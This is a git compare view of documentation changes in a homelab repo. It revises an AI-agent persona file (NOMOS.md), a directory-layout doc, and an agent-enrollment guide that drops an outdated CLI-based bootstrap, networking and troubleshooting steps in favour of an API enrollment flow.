Compare commits
97 Commits
claude/cha
...
desktop-0.
| Author | SHA1 | Date | |
|---|---|---|---|
| a429436903 | |||
| 07d67c8446 | |||
| 8b50753746 | |||
| 680575e2cf | |||
| 6b52c1ae57 | |||
| 5d6d9e9040 | |||
| 04006553a3 | |||
| 7b0a0f01b5 | |||
| f6a699469d | |||
| 4c4afc4783 | |||
| 604b608fa8 | |||
| 62a8ec1d8d | |||
| 335fa67d55 | |||
| d1243aceac | |||
| 61ad785fef | |||
| 35c54ceef5 | |||
| f8e03806aa | |||
| 94c94c0758 | |||
| d80a394b7f | |||
| 0c0f35a3a9 | |||
| 346eb2f144 | |||
| 48827d5bb1 | |||
| 56979ac4bd | |||
| 3157e6102a | |||
| 6807e353e3 | |||
| 0ed171507f | |||
| e3cbaee534 | |||
| de126daf43 | |||
| c8b479d565 | |||
| 075ff93792 | |||
| 3b9c75fa3f | |||
| e3850f6820 | |||
| fb4c76ba82 | |||
| b72267bd72 | |||
| 11c18e8956 | |||
| 6d4f6de676 | |||
| c3901641d1 | |||
| 76f76308cc | |||
| 926969a03f | |||
| c5ffaec85b | |||
| 3919ec37d7 | |||
| df393152f6 | |||
| a4ea542f3e | |||
| 6a8fb435ad | |||
| 9131559ebd | |||
| 9ef1ba3702 | |||
| 6932eb5eed | |||
| e30813a43d | |||
| 5384499903 | |||
| 991e7d0900 | |||
| 413bf54daf | |||
| 014e5c74e0 | |||
| be3ce761d4 | |||
| 532310bb4b | |||
| 3dba2e550a | |||
| 72e9fe534e | |||
| eed6e3b1c5 | |||
| ef5a92269b | |||
| 52e16e04ca | |||
| 6192c35c10 | |||
| 682326382e | |||
| ac48390796 | |||
| 40999b0b40 | |||
| ec41c0b828 | |||
| 60edff2065 | |||
| 233b5e4519 | |||
| 13458e467c | |||
| 7387df3276 | |||
| 2e922f6421 | |||
| 6f9998fa29 | |||
| d2f749d33d | |||
| c3699157ae | |||
| 7ff344ab47 | |||
| 657e1a8be1 | |||
| 7a7ce2b89b | |||
| 3f3de18b23 | |||
| 82b0ad2298 | |||
| 8950bada44 | |||
| f936098364 | |||
| d08a985ea9 | |||
| 9539759db6 | |||
| d52968876a | |||
| 9daf8220f2 | |||
| 4a96f46e76 | |||
| 5f888e6386 | |||
| f248508919 | |||
| a1f666f68a | |||
| ac86302f52 | |||
| 8ed2b88495 | |||
| b37f85ae08 | |||
| a567930466 | |||
| 9376dc7d89 | |||
| d9683cfe29 | |||
| ea62d744ed | |||
| 0d29b1db81 | |||
| e92a6ff7a5 | |||
| 49c37fe8b1 |
@@ -1,19 +1,27 @@
|
||||
# NOMOS.md — Agent persona for homelab clients
|
||||
|
||||
This file is the canonical agent persona for **all** AI agents running on
|
||||
machines in the **hubris** homelab. It prescribes behaviour, token-efficiency
|
||||
conventions, and the source-of-truth hierarchy.
|
||||
This file is the canonical agent persona for AI agents running on machines
|
||||
in the **hubris** homelab (Claude Code, Codex, or similar). It prescribes
|
||||
behaviour, token-efficiency conventions, and the source-of-truth hierarchy.
|
||||
|
||||
The *production* Nomos agent (`cmd/nomos`, the containerized MCP client
|
||||
gateway everyone actually talks to) uses a separate, code-adjacent persona —
|
||||
`nomos/SOUL.md`, baked into its Docker image at build time
|
||||
(`compose/nomos/Dockerfile`). This file is unrelated to that one; it's for
|
||||
AI coding agents working *on* a homelab client machine, not the Nomos
|
||||
service itself.
|
||||
|
||||
## Source of truth
|
||||
|
||||
The homelab-context repo at `/opt/homelab-context/` is the single source of
|
||||
truth for:
|
||||
- Fleet topology (`inventory.yaml`, `inventory.yaml`)
|
||||
- Service endpoints and credentials (via `homelab secret`)
|
||||
- Fleet topology (`inventory.yaml`)
|
||||
- Agent behaviour and conventions
|
||||
- Everything in this file
|
||||
|
||||
When in doubt, check `/opt/homelab-context/` first.
|
||||
When in doubt, check `/opt/homelab-context/` first, or query the Oikos API/MCP
|
||||
server directly (see [AGENTS.md](../AGENTS.md) §3-4) — the database is
|
||||
authoritative at runtime.
|
||||
|
||||
## Runbooks — load, don't rediscover
|
||||
|
||||
@@ -28,69 +36,9 @@ wiki when a runbook already encodes it. See [OIKOS.md](OIKOS.md) for the
|
||||
operating model these runbooks execute inside (OODA loop, risk classes,
|
||||
approval flow, ontology).
|
||||
|
||||
## Agent type — how this file gets loaded
|
||||
## Token efficiency
|
||||
|
||||
| Agent | Loading mechanism |
|
||||
|-------|------------------|
|
||||
| **Nomos** | `tools/setup-nomos-soul.sh` (auto-setup) → provisions `~/.nomos/SOUL.md` from this file |
|
||||
| **Goose** | `.goosehints` symlink at `~/.config/goose/.goosehints` → `/opt/homelab-context/NOMOS.md` |
|
||||
| **Claude Code / Codex** | Symlink or copy this file into the project's `CLAUDES.md` / `.claude` instructions |
|
||||
|
||||
**Do not edit SOUL.md or .goosehints directly.** Edit this file in the
|
||||
homelab-context repo instead. Changes propagate to all clients on the next
|
||||
sync (`sudo homelab sync`).
|
||||
|
||||
---
|
||||
|
||||
## Token efficiency (caveman skill)
|
||||
|
||||
All homelab agents use the **Caveman + RTK** token optimization approach from
|
||||
https://github.com/adityahimaone/hermes-agent-rtk-caveman.
|
||||
|
||||
### Before running any CLI command, ask:
|
||||
|
||||
1. **Is there a caveman wrapper equivalent?** Use the wrapper for token-efficient
|
||||
output. Available wrappers (installed at `~/bin/caveman_wrapper.sh`):
|
||||
- `~/bin/caveman_wrapper.sh git-status` — compact git status
|
||||
- `~/bin/caveman_wrapper.sh git-log [n]` — compact git log
|
||||
- `~/bin/caveman_wrapper.sh lint [target]` — compact lint results
|
||||
- `~/bin/caveman_wrapper.sh test-results [cmd]` — compact test results
|
||||
|
||||
2. **If no caveman wrapper exists, pipe through `rtk`** to compress output:
|
||||
```
|
||||
rtk <command>
|
||||
```
|
||||
RTK (Rust Token Killer) strips redundant whitespace, trims long paths, and
|
||||
deduplicates repeated lines. This reduces token usage by 60-90% on CLI
|
||||
operations.
|
||||
|
||||
3. **For homelab operations**, prefer the `homelab` CLI or MCP tools over
|
||||
raw SSH/shell — they're already token-optimized.
|
||||
|
||||
### Templates
|
||||
|
||||
Caveman templates live at `~/templates/`:
|
||||
- `git_status.txt` — compact git status format
|
||||
- `git_log.txt` — compact git log format
|
||||
- `lint_results.txt` — compact ESLint format
|
||||
- `test_results.txt` — compact vitest/jest format
|
||||
|
||||
### When to skip caveman/rtk
|
||||
|
||||
- Interactive commands (editors, prompts) — let human-readable output pass
|
||||
- Commands with no output — skip entirely
|
||||
- When you need the exact raw output for post-processing
|
||||
|
||||
### Verification
|
||||
|
||||
```bash
|
||||
ls ~/bin/caveman_wrapper.sh && echo "caveman ready"
|
||||
```
|
||||
|
||||
## Important note for Nomos agents
|
||||
|
||||
If you are reading this as a Nomos agent, your SOUL.md was auto-provisioned
|
||||
by `tools/setup-nomos-soul.sh`. This file is the canonical original — you
|
||||
can verify the content matches or re-provision by running:
|
||||
|
||||
bash /opt/homelab-context/tools/setup-nomos-soul.sh
|
||||
Apply [caveman.md](shared/caveman.md) — terse, fragment-heavy chat responses
|
||||
(not committed documentation). There's no separate tool to install for
|
||||
this; it's a response-style convention any agent follows by reading the
|
||||
file.
|
||||
|
||||
@@ -10,6 +10,7 @@ see [CONTRIBUTING.md](../../CONTRIBUTING.md) for a human-friendly version.
|
||||
cmd/oikos/main.go Entry point. Subcommands: api, scheduler, notifier, migrate,
|
||||
seed, export, secret, all
|
||||
cmd/nomos/main.go Nomos MCP client gateway (standalone binary, formerly Hermes)
|
||||
cmd/webhook/main.go Gitea deploy-webhook receiver (push-to-deploy on mac-mini)
|
||||
internal/httpapi/ REST + MCP server. Chi router. OpenAPI-generated types from
|
||||
internal/httpapi/gen/api.gen.go. Strict server in impl.go.
|
||||
internal/mcp/ MCP tool implementations (get_entity, search_knowledge, etc.)
|
||||
@@ -26,14 +27,19 @@ internal/domain/ Core types: entities, approvals, executions, signals
|
||||
internal/ontology/ Type hierarchy validation, relationship checks
|
||||
internal/knowledge/ Knowledge YAML seed ingestion
|
||||
internal/config/ Config loading from env vars
|
||||
web/ Control-room SPA (Svelte 5) — standalone static build, not
|
||||
embedded in the oikos binary (plans/2026-07-12-wails-desktop-app.md)
|
||||
api/openapi.yaml REST API contract. Source of truth for endpoints.
|
||||
api/codegen.yaml oapi-codegen config → generates internal/httpapi/gen/
|
||||
migrations/ Forward-only SQL. Format: NNN_name.up.sql. No down migrations.
|
||||
seeds/ Bootstrap YAML. ontology.yaml, inventory.yaml, policy.yaml,
|
||||
knowledge.yaml. Regenerated from DB via oikos export.
|
||||
compose/ Dockerfiles. oikos/ (multi-stage), nomos/ (distroless).
|
||||
compose/ Dockerfiles. oikos/ (2-stage, Go only — SPA is built/deployed
|
||||
separately), nomos/ (distroless).
|
||||
Caddy config at compose/caddy/Caddyfile.oikos.
|
||||
scripts/ Deploy, rollback, watchdog, verification, cutover checklist.
|
||||
checks/ Host health-check scripts run over SSH by the scheduler.
|
||||
tools/ Client auto-setup scripts (checks).
|
||||
nomos/ Nomos config.yaml, SOUL.md, skills.
|
||||
.agents/ Agent instruction files, domains, shared conventions, skills.
|
||||
plans/ Design documents. active/ + done/.
|
||||
|
||||
@@ -1,365 +1,120 @@
|
||||
# Agent enrollment — bootstrap a client into the homelab context system
|
||||
# Agent enrollment — operational notes
|
||||
|
||||
This walks through enrolling a new machine (workstation, LXC, or VM) so it
|
||||
joins the cross-client context system: a `/opt/homelab-context/` clone of
|
||||
this repo that auto-syncs every 5 min, a per-client age key for SOPS
|
||||
decryption, the `homelab` CLI, and an MCP endpoint in Claude Code's config.
|
||||
**For the actual enrollment flow, see [CLIENTS.md](../../CLIENTS.md#enrollment)
|
||||
— it's the current, authoritative version.** This page used to duplicate
|
||||
that flow in more detail, describing a `homelab` CLI-based two-step
|
||||
ceremony (`homelab client add` reserves an inventory slot → client
|
||||
bootstraps → operator finalizes the pubkey). That CLI and that flow don't
|
||||
exist anymore — enrollment today is one shot: `bootstrap.sh` calls
|
||||
`POST /api/v1/clients/enroll` directly and gets back an age keypair +
|
||||
Infisical identity in the same response. What's left here is the handful
|
||||
of things that are still true and weren't already covered elsewhere.
|
||||
|
||||
> Onboarding a Nous-Hermes-powered Goose agent on top of standard enrollment?
|
||||
> See [nomos-agent.md](nomos-agent.md). It uses the same `bootstrap.sh`
|
||||
> with an additional `--with-nomos` flag.
|
||||
|
||||
Architecture in [project_homelab_context_plan](https://… memory link); the
|
||||
operational reference is here.
|
||||
|
||||
## Prerequisites the client must satisfy
|
||||
## Prerequisites
|
||||
|
||||
| Requirement | Why | How to check |
|
||||
| --- | --- | --- |
|
||||
| Hostname matches an entry in `inventory.yaml` | The bootstrap looks up `hosts/$(hostname).yaml`. | `hostname` (Linux) / `scutil --get LocalHostName` (macOS) |
|
||||
| Hostname matches an entry in `inventory.yaml` | `EnrollClient` looks up the entity by slug derived from hostname; it must exist in `planned`/`provisioning` state. | `hostname` (Linux) / `scutil --get LocalHostName` (macOS) |
|
||||
| OS is Linux or macOS | bootstrap detects via `uname -s` | `uname -s` |
|
||||
| On the mesh (Netbird or Tailscale) **or** on the LAN | issuance is gated to mesh + LAN subnets. **For Netbird: use a setup-key, not interactive auth** — see "Getting onto Netbird" below. | `netbird status` / `tailscale status` |
|
||||
| `git`, `python3`, `python3-yaml`, `age`, `sops` | bootstrap preflight; `homelab` CLI imports yaml | See per-OS commands below |
|
||||
| Can resolve `*.hubris.network` | bootstrap calls `https://secrets.hubris.network/issue` and writes `https://mcp.hubris.network/mcp` | `dig +short mcp.hubris.network` (should return `192.168.8.175`) |
|
||||
| On the mesh (Netbird) **or** on the LAN | enrollment validates mesh IP against expected subnets | `netbird status` |
|
||||
| `curl`, `jq`, `age`, `python3` | bootstrap preflight (`bootstrap.sh:100`) — auto-installed on Fedora/RHEL/Debian/Ubuntu/macOS if missing | `command -v curl jq age python3` |
|
||||
| Can resolve `*.hubris.network` | bootstrap calls the Oikos API and writes `https://mcp.hubris.network/mcp` | `dig +short mcp.hubris.network` |
|
||||
|
||||
### Hostname mismatch is the most common bootstrap failure
|
||||
|
||||
If the bootstrap exits with `no hosts/<name>.yaml in the repo`, the
|
||||
hostname doesn't match any inventory entry. Two fixes:
|
||||
If the entity for your hostname doesn't exist yet (in `planned` or
|
||||
`provisioning` state), enrollment 4xxs. Two fixes:
|
||||
|
||||
- **Rename the host**: `sudo hostnamectl set-hostname <inventory-name>`
|
||||
(Linux) or System Preferences → Sharing (macOS), then re-run.
|
||||
- **Rename the inventory entry**: edit `inventory.yaml` on hubris,
|
||||
update `inventory.yaml`, push. The next sync (≤5 min) propagates.
|
||||
- **Rename the host** to match an existing planned entity:
|
||||
`sudo hostnamectl set-hostname <inventory-name>` (Linux) or System
|
||||
Preferences → Sharing (macOS), then re-run.
|
||||
- **Add/rename the inventory entry**: edit `seeds/inventory.yaml`, ingest
|
||||
via `oikos seed` (or the equivalent MCP/API entity-creation path), then
|
||||
re-run bootstrap.
|
||||
|
||||
### Getting onto Netbird
|
||||
### Networking prerequisites (Netbird, DNS, SSH key distribution)
|
||||
|
||||
Bootstrap auto-installs netbird and drives `netbird up` if the mesh isn't already connected (since commit `<bootstrap-tier1>`). Both paths below produce the same end state: `netbird status` shows `Management: Connected`, peer IP `100.122.x.x/16`.
|
||||
|
||||
**Path B — interactive OIDC (default; recommended):**
|
||||
|
||||
The new client runs bootstrap straight from a fresh OS. Bootstrap installs netbird (apt/dnf/brew based on the OS), then runs `netbird up --management-url https://netbird.hubris.network --ssh-jwt-cache-ttl 86400`. A device-code URL prints inline. The operator opens it (in a browser logged into Authentik), goes through identification → password → consent, and the CLI returns `Connected`. Bootstrap then proceeds with the rest of preflight.
|
||||
|
||||
Pre-condition: the operator must be a registered user in Authentik (typically the lab owner). The first user-login against a netbird account with existing peers is added as `pending_approval=1` and needs an sqlite promotion to `owner` — see [124-authentik.md First-time owner promotion gotcha](../../archive/knowledge/containers/106-auth-outpost.md). Only needed once per account.
|
||||
|
||||
**Path A — setup-key (headless/scripted onboarding):**
|
||||
|
||||
Useful for headless servers (no browser at all) or unattended cloud-init bootstraps.
|
||||
|
||||
1. From an already-enrolled machine, log into the dashboard at `https://netbird.hubris.network/`.
|
||||
2. **Setup Keys** → Create → set reusable + expiry → copy.
|
||||
3. On the new client (after installing netbird, OR let bootstrap install it and skip its `netbird up` driver):
|
||||
```bash
|
||||
sudo netbird up --setup-key <KEY> \
|
||||
--management-url https://netbird.hubris.network \
|
||||
--ssh-jwt-cache-ttl 86400
|
||||
```
|
||||
|
||||
**Why we can't OIDC-login from the public internet (still open as a follow-up):**
|
||||
|
||||
`auth.hubris.network` resolves publicly to the VPS (`82.165.190.79`), but Traefik on the VPS doesn't currently route that hostname — only `netbird.hubris.network` is exposed. A brand-new client *off the mesh* hitting `auth.hubris.network` directly gets a Traefik default 404. In practice, Path B works fine because the operator's BROWSER (which clicks the device-code URL) is usually on a network that can reach Authentik through the public IONOS IP via some path. But "fresh laptop in a coffee shop with no prior session anywhere" still gets stuck. Future-session fix: add a Traefik route on the VPS forwarding `auth.hubris.network` via the netbird-routed `192.168.8.0/24` to LXC 124.
|
||||
|
||||
### DNS prerequisite
|
||||
|
||||
`*.hubris.network` resolves via the split-horizon dnsmasq on LXC 124
|
||||
([dns.md](../../archive/knowledge/infrastructure/dns.md)) for LAN clients, **but only if the
|
||||
client uses 192.168.8.180 as its resolver**. Most LXCs and roaming
|
||||
workstations don't by default. Options:
|
||||
|
||||
- **LAN client**: set DNS to 192.168.8.180 (per-interface or
|
||||
`/etc/resolv.conf`).
|
||||
- **Off-LAN workstation on Netbird**: configure Netbird DNS forwarder to
|
||||
point `*.hubris.network` at LXC 124.
|
||||
- **Hack-fix anywhere**: append to `/etc/hosts`:
|
||||
```
|
||||
192.168.8.175 mcp.hubris.network secrets.hubris.network
|
||||
192.168.8.175 git.hubris.network
|
||||
```
|
||||
(192.168.8.175 = caddy on LXC 121, terminates all `*.hubris.network`.)
|
||||
|
||||
If DNS isn't an option at all, override the URLs at bootstrap time:
|
||||
|
||||
```bash
|
||||
sudo HOMELAB_GITEA_TOKEN=... \
|
||||
HOMELAB_REPO_URL=http://192.168.8.121:3000/dtoro/oikos.git \
|
||||
HOMELAB_ISSUANCE_NETBIRD=http://192.168.8.205:9820/issue \
|
||||
HOMELAB_MCP_URL=http://192.168.8.205:9810/mcp \
|
||||
bash /tmp/bootstrap.sh --with-mcp
|
||||
```
|
||||
|
||||
## Install dependencies
|
||||
|
||||
Bootstrap auto-installs missing prerequisites (`git`, `python3` + PyYAML, `age`, `sops`, `netbird`) on Fedora/RHEL/Debian/Ubuntu/macOS — no manual `apt`/`dnf`/`brew` needed before running it. The only thing you must have on hand BEFORE the `curl ... | sudo bash` line is `curl` itself (used to pipe the script).
|
||||
|
||||
Manual install is still possible (e.g. for air-gapped or unusual platforms); the per-OS recipes are below for reference but optional.
|
||||
|
||||
<details>
|
||||
<summary>Manual recipes (Fedora / Debian / macOS)</summary>
|
||||
|
||||
```bash
|
||||
# Fedora / RHEL / Nobara
|
||||
sudo dnf install -y git python3-pyyaml age curl
|
||||
SOPS_VERSION=v3.9.4
|
||||
sudo curl -fsSL https://github.com/getsops/sops/releases/download/$SOPS_VERSION/sops-$SOPS_VERSION.linux.amd64 \
|
||||
-o /usr/local/bin/sops && sudo chmod +x /usr/local/bin/sops
|
||||
|
||||
# Debian / Ubuntu
|
||||
sudo apt update && sudo apt install -y git python3-yaml age curl
|
||||
SOPS_VERSION=v3.9.4
|
||||
sudo curl -fsSL https://github.com/getsops/sops/releases/download/$SOPS_VERSION/sops-$SOPS_VERSION.linux.amd64 \
|
||||
-o /usr/local/bin/sops && sudo chmod +x /usr/local/bin/sops
|
||||
|
||||
# macOS
|
||||
brew install git age sops
|
||||
pip3 install pyyaml # if `python3 -c "import yaml"` fails
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
## Run the bootstrap
|
||||
|
||||
You need a Gitea read-only personal access token for the initial clone
|
||||
(the in-cluster shared PAT is encrypted at `secrets/gitea-readonly-pat.yaml`
|
||||
but a new client can't decrypt it before bootstrap — chicken-and-egg).
|
||||
Ask the operator (or generate in Gitea: Settings → Applications → Generate
|
||||
New Token → scope `read:repository`).
|
||||
|
||||
```bash
|
||||
TOKEN=... # your Gitea PAT, scope read:repository
|
||||
|
||||
# Fetch bootstrap.sh from gitea (HTTPS uses split-DNS → caddy).
|
||||
curl -fsSL -u "dtoro:$TOKEN" \
|
||||
https://git.hubris.network/dtoro/oikos/raw/branch/main/bootstrap.sh \
|
||||
-o /tmp/bootstrap.sh
|
||||
|
||||
# Run it.
|
||||
sudo HOMELAB_GITEA_TOKEN=$TOKEN bash /tmp/bootstrap.sh --with-mcp
|
||||
```
|
||||
|
||||
Flags:
|
||||
|
||||
| Flag | Effect |
|
||||
| --- | --- |
|
||||
| `--with-mcp` | Merges the homelab MCP server into `~/.claude/.mcp.json` of the invoking user |
|
||||
| `--no-secrets` | Skips age-key issuance (use when bringing up the first hosts before secrets-issuance exists) |
|
||||
| `--dry-run` | Prints actions without executing |
|
||||
|
||||
The bootstrap is idempotent: re-running on an enrolled client just
|
||||
verifies state, re-issues the age key only if it doesn't match the
|
||||
inventory pubkey, and refreshes the sync timer + symlinks.
|
||||
|
||||
## Verify
|
||||
|
||||
```bash
|
||||
homelab whoami # prints hosts/$(hostname).yaml
|
||||
homelab list # shows the full topology
|
||||
homelab status # ping + HTTP-check across hosts/services
|
||||
homelab secret hello # decrypt the bootstrap-test secret
|
||||
systemctl list-timers homelab-context-sync.timer
|
||||
# next run within ≤5 min
|
||||
```
|
||||
|
||||
For Claude Code: start a new session — the `homelab` MCP server appears
|
||||
in `~/.claude/.mcp.json` and registers 14 tools (8 context, 5 management,
|
||||
1 secrets-metadata).
|
||||
|
||||
## Post-bootstrap: SSH reachability
|
||||
|
||||
A new workstation must be reachable from other workstations and must be
|
||||
able to reach every host by short hostname. Run these steps after the
|
||||
bootstrap verify passes:
|
||||
|
||||
### 1. Enable SSH server
|
||||
|
||||
```bash
|
||||
# macOS:
|
||||
sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
|
||||
|
||||
# Linux:
|
||||
sudo systemctl enable --now sshd
|
||||
```
|
||||
|
||||
### 2. Generate SSH key (if missing)
|
||||
|
||||
```bash
|
||||
ls ~/.ssh/id_ed25519.pub 2>/dev/null || ssh-keygen -t ed25519 -a 100
|
||||
```
|
||||
|
||||
### 3. Publish pubkey to the repo
|
||||
|
||||
```bash
|
||||
cp ~/.ssh/id_ed25519.pub /opt/homelab-context/ssh/authorized_keys/$(hostname -s).pub
|
||||
cd /opt/homelab-context && git add ssh/authorized_keys/ && git commit -m 'ssh: add $(hostname -s) pubkey' && git push
|
||||
```
|
||||
|
||||
### 4. Deploy keys to all hosts
|
||||
|
||||
From any existing enrolled machine (hubris or another workstation):
|
||||
|
||||
```bash
|
||||
ssh root@192.168.8.77 "cd /opt/homelab-context && git pull --ff-only && bash ssh/deploy-keys.sh"
|
||||
```
|
||||
|
||||
This adds the new workstation's pubkey to hubris and every running LXC.
|
||||
|
||||
### 5. Generate SSH config
|
||||
|
||||
```bash
|
||||
homelab ssh-config --install
|
||||
```
|
||||
|
||||
Verify:
|
||||
|
||||
```bash
|
||||
ssh hubris hostname # should return "hubris" without password
|
||||
ssh gitea hostname # should return "gitea" without password
|
||||
ssh mac-mini hostname # should return "mac-mini" without password (workstation-to-workstation)
|
||||
```
|
||||
|
||||
### 6. Add LAN IP to inventory (if on LAN)
|
||||
|
||||
If the workstation has a static or reserved LAN IP, add it to
|
||||
`inventory.yaml`:
|
||||
|
||||
```yaml
|
||||
hosts:
|
||||
your-hostname:
|
||||
lan_ip: 192.168.8.xxx
|
||||
```
|
||||
|
||||
This gives it a primary LAN entry in the generated SSH config (faster
|
||||
than the Netbird fallback). Commit + push, then:
|
||||
|
||||
```bash
|
||||
cd /opt/homelab-context && git pull --ff-only && homelab ssh-config --install
|
||||
```
|
||||
Migrated to a runbook in the knowledge base — query
|
||||
`search_knowledge("netbird mesh dns")` or `get_entity_knowledge`, or ask
|
||||
Nomos. Covers: getting onto the Netbird mesh (interactive OIDC vs.
|
||||
setup-key), why OIDC login can fail from off-mesh, split-horizon DNS
|
||||
options, and distributing a new workstation's SSH pubkey across the fleet
|
||||
via `ssh/deploy-keys.sh`.
|
||||
|
||||
## Claude Code permissions for fleet ops
|
||||
|
||||
By default Claude Code's auto-mode classifier asks for confirmation on every
|
||||
ssh into the mesh. The bootstrap already installs the ssh ControlMaster block
|
||||
so subsequent in-session sshes multiplex, but the *first* ssh of each session
|
||||
still gets classifier-evaluated. Pre-authorize the common fleet ssh patterns
|
||||
by adding to `~/.claude/settings.json`:
|
||||
ssh into the mesh. Pre-authorize the common fleet ssh pattern by adding to
|
||||
`~/.claude/settings.json`:
|
||||
|
||||
```json
|
||||
{
|
||||
"permissions": {
|
||||
"defaultMode": "auto",
|
||||
"allow": [
|
||||
"Bash(ssh -p 22022 *)",
|
||||
"Bash(homelab *)"
|
||||
"Bash(ssh -p 22022 *)"
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The first rule covers any ssh to a mesh peer on the homelab netbird port; the
|
||||
second covers all `homelab` CLI invocations. Both are scoped tight enough that
|
||||
the classifier doesn't gate them but loose enough to handle the variety of
|
||||
arguments.
|
||||
This covers any ssh to a mesh peer on the homelab netbird port, scoped tight
|
||||
enough that the classifier doesn't gate it but loose enough to handle the
|
||||
variety of arguments.
|
||||
|
||||
If you also want the netbird `--ssh-jwt-cache-ttl` flag rationale to be
|
||||
visible to the classifier (it's not actually durable in 0.71.2, but the
|
||||
ControlMaster block is — see [runbook-dpkg-interrupted](../skills/runbook-dpkg-interrupted/SKILL.md)
|
||||
for context), drop a free-text rule into `autoMode.allow` describing the
|
||||
authorization. Optional.
|
||||
## Open questions (not verified against current architecture — don't
|
||||
guess these from the old flow)
|
||||
|
||||
## Adding a new client to inventory
|
||||
The old two-step ceremony had answers for these; the current one-shot
|
||||
`/api/v1/clients/enroll` flow may handle them differently and this hasn't
|
||||
been re-verified:
|
||||
|
||||
If the hostname you want isn't yet in inventory, enrollment is a two-step
|
||||
ceremony driven from an existing enrolled client (e.g. hubris). The
|
||||
`homelab` CLI handles steps 1 + 4; you provide steps 2 + 3.
|
||||
|
||||
```bash
|
||||
# 1. On hubris (or any existing client): add the inventory entry.
|
||||
homelab client add my-new-machine
|
||||
# Prompts for kind, os, netbird FQDN, role. Commits + pushes.
|
||||
|
||||
# 2. Join the new machine to Netbird (out-of-band, Netbird console / setup key).
|
||||
|
||||
# 3. On the new machine: install deps + run bootstrap (above).
|
||||
# Bootstrap calls /issue, receives a fresh age keypair, and prints the
|
||||
# public key for the operator to commit back to inventory.
|
||||
|
||||
# 4. On hubris: finalize the age public key.
|
||||
homelab client add my-new-machine --finalize-pubkey age1...
|
||||
# Updates inventory.yaml hosts.my-new-machine.age_pubkey, regenerates
|
||||
# inventory.yaml, commits + pushes. The 5-min sync propagates.
|
||||
```
|
||||
|
||||
## Granting a secret to a new client
|
||||
|
||||
Adding a client doesn't grant them every secret. Recipients are explicit
|
||||
per file via `.sops.yaml` glob rules. To grant a client access to (say)
|
||||
`secrets/hello.yaml`:
|
||||
|
||||
1. Edit `.sops.yaml` at the repo root, add the client's `age_pubkey` to
|
||||
the matching `creation_rules` block.
|
||||
2. Re-key the existing ciphertext for the new recipient list:
|
||||
```bash
|
||||
sops updatekeys -y secrets/hello.yaml
|
||||
```
|
||||
3. Commit + push. On the next sync (≤5 min), the client can decrypt.
|
||||
|
||||
## Removing a client
|
||||
|
||||
```bash
|
||||
# From any existing client:
|
||||
homelab client remove my-old-machine
|
||||
```
|
||||
|
||||
This:
|
||||
1. Removes the inventory entry and `hosts/my-old-machine.yaml`.
|
||||
2. Runs `sops updatekeys -y` against every file in `secrets/` (operator
|
||||
must first remove the pubkey from `.sops.yaml` rules).
|
||||
3. Calls `secrets-issuance` `/revoke` (admin-token-gated, on LXC 105) to
|
||||
shred the key file and add the hostname to the denylist.
|
||||
4. Commits + pushes.
|
||||
|
||||
The CLI prints a follow-up checklist that the operator must do manually:
|
||||
|
||||
- Revoke the peer in the Netbird console (denies future mesh access).
|
||||
- **Rotate any credentials whose ciphertext the removed client already
|
||||
has on disk.** The age key revocation only protects *future*
|
||||
ciphertext; what's already been pulled is still decryptable until the
|
||||
underlying credential changes.
|
||||
- Optional: `homelab nuke my-old-machine` SSHes in, shreds
|
||||
`/etc/age/key.txt`, removes `/opt/homelab-context`, disables sync.
|
||||
- **Removing a client.** No current equivalent confirmed for the old
|
||||
`homelab client remove` (inventory removal + secret re-keying + key
|
||||
revocation). Likely maps to an entity lifecycle transition
|
||||
(`.agents/skills/lifecycle-deprecate-node/` or `lifecycle-destroy-node/`)
|
||||
but those skills reference the same dead CLI and need their own check.
|
||||
- **Granting a secret to an already-enrolled client.** The old flow
|
||||
hand-edited `.sops.yaml` `creation_rules` + `sops updatekeys`. Given
|
||||
Infisical is now the primary secrets backend (SOPS is the DR fallback),
|
||||
the current mechanism is probably Infisical-side, not a `.sops.yaml` edit
|
||||
— not confirmed.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Symptom | Cause | Fix |
|
||||
| --- | --- | --- |
|
||||
| `no hosts/<hostname>.yaml in the repo` | Hostname doesn't match inventory entry | Rename either side (see above) |
|
||||
| `fatal: could not read Username for 'http://192.168.8.121:3000'` | bootstrap.sh's credentials file has wrong scheme | Fixed in commit `de6f8be`; pull latest `bootstrap.sh` |
|
||||
| `gnutls_handshake() failed: TLS connection was non-properly terminated` cloning `git.hubris.network` | Client DNS resolves `*.hubris.network` to the public VPS IP | Configure split-DNS (LXC 180 / Netbird forwarder) or `/etc/hosts` override; or use `HOMELAB_REPO_URL=http://192.168.8.121:3000/dtoro/oikos.git` |
|
||||
| `TLS/SSL connection has been closed (EOF)` connecting MCP | Same — `mcp.hubris.network` resolves to public VPS without this vhost | Same DNS fix |
|
||||
| `Invalid Host header` from MCP server | FastMCP's DNS-rebinding protection (default whitelist is 127.0.0.1 only) | Fixed in commit `6848640`; pull latest `mcp/server.py` and redeploy |
|
||||
| `python3-yaml` install fails on Fedora | Wrong package name | Use `python3-pyyaml` (Fedora) instead of `python3-yaml` (Debian) |
|
||||
| `address already in use` for FastMCP | FastMCP defaults to 127.0.0.1:8000 | Fixed: server now sets `mcp.settings.host/port` from env (default `0.0.0.0:9810`) |
|
||||
| `homelab: no age key at /etc/age/key.txt` even after bootstrap | `/etc/age` is 0700 root, so non-root users couldn't even stat the key file; existence check returned False under regular users | Fixed in commit `df6aca8`: the CLI re-execs `sops -d` via sudo when invoked as a non-root user. On older deployments, re-link the CLI with `sudo ln -sfn /opt/homelab-context/bin/homelab /usr/local/bin/homelab` after the 5-min sync. |
|
||||
| `homelab` CLI doesn't pick up repo updates | Pre-`02db…` bootstrap copied the binary instead of symlinking | One-time migration: `sudo ln -sfn /opt/homelab-context/bin/homelab /usr/local/bin/homelab`. New bootstraps use the symlink, which auto-tracks the synced repo. |
|
||||
| `homelab-context-sync.service` journal shows `fatal: could not read Username for 'https://git.hubris.network'` | Pre-fix bootstrap set the gitea credential helper via `git config --global`, which writes to `/root/.gitconfig` — invisible to the systemd timer's git process (no HOME set). | One-time migration: `sudo git config --system credential.helper "store --file=/etc/homelab-context/git-credentials"`. New bootstraps store the helper in `/etc/gitconfig` instead. |
|
||||
| Enrollment 404s / entity not found | Hostname doesn't match a `planned`/`provisioning` inventory entry | See "Hostname mismatch" above |
|
||||
| `gnutls_handshake() failed` / TLS errors reaching `*.hubris.network` | Client DNS resolves `*.hubris.network` to the public VPS instead of the LAN/mesh path | See the networking runbook (split-horizon DNS section) |
|
